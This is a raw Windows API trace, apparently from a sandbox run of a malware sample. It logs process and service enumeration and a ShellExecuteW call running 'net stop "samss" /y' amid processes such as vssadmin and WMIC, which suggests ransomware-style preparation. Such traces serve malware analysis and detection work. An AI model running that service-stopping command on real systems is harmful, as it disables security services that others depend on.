	[0250.978] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0250.981] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x168c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0250.984] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x16bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0250.986] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x172c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0251.322] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x167c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0251.324] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0251.327] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1674, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1
	[0251.330] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x21b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0251.332] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x242c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0251.335] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2e48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0251.338] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2e60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0251.340] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0251.343] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0251.346] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2e48, pcPriClassBase=8, dwFlags=0x0, szExeFile="net1.exe")) returned 1
	[0251.349] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0251.352] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0251.354] CloseHandle (hObject=0x1e20) returned 1
	[0251.615] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0xe6500
	[0251.617] EnumServicesStatusW (in: hSCManager=0xe6500, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0 | out: lpServices=0x0, pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0) returned 0
	[0251.618] VirtualAlloc (lpAddress=0x0, dwSize=0x17b5, flAllocationType=0x1000, flProtect=0x40) returned 0x2760000
	[0251.619] EnumServicesStatusW (in: hSCManager=0xe6500, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x2760000, cbBufSize=0x17b5, pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0 | out: lpServices=0x2760000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x21cf788, lpServicesReturned=0x21cf780, lpResumeHandle=0x21cf4f0) returned 1
	[0251.621] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0258.190] Sleep (dwMilliseconds=0x96) 
	[0258.500] VirtualFree (lpAddress=0x2760000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0258.501] Sleep (dwMilliseconds=0xc350) 
	[0268.706] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x2500
	[0269.192] Process32FirstW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0269.194] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0269.196] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0269.199] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0269.201] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0269.203] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0269.206] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0269.208] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0269.576] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0269.578] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0269.581] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0269.583] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0269.585] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0269.588] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0269.590] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0269.592] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0269.594] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0269.596] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0269.598] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0269.601] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0269.603] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0269.605] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0269.607] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0269.610] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0269.612] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0269.826] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation innocent drug.exe")) returned 1
	[0269.829] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trunk.exe")) returned 1
	[0269.831] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposalshurtsilly.exe")) returned 1
	[0269.834] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="record-cultural-corrections.exe")) returned 1
	[0269.836] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="defined_odd_stuff.exe")) returned 1
	[0269.838] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discounted_rational_ca.exe")) returned 1
	[0269.840] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corp.exe")) returned 1
	[0269.843] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="salemarchivevietnam.exe")) returned 1
	[0269.845] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="indexeslakes.exe")) returned 1
	[0269.847] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nation_dress_jelsoft.exe")) returned 1
	[0269.849] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="services supreme.exe")) returned 1
	[0269.852] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="man.exe")) returned 1
	[0269.854] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives_defined.exe")) returned 1
	[0269.856] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bumper ideal.exe")) returned 1
	[0269.858] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="martin-catalyst.exe")) returned 1
	[0269.861] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nylonblacks.exe")) returned 1
	[0269.863] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vp i manner.exe")) returned 1
	[0270.062] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nitrogen canberra.exe")) returned 1
	[0270.064] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prompt.exe")) returned 1
	[0270.066] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0270.068] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0270.070] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0270.072] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0270.074] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0270.076] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0270.078] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0270.080] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0270.083] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0270.085] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0270.087] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0270.091] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0270.093] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0270.095] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0270.349] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0270.351] Process32NextW (in: hSnapshot=0x2500, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
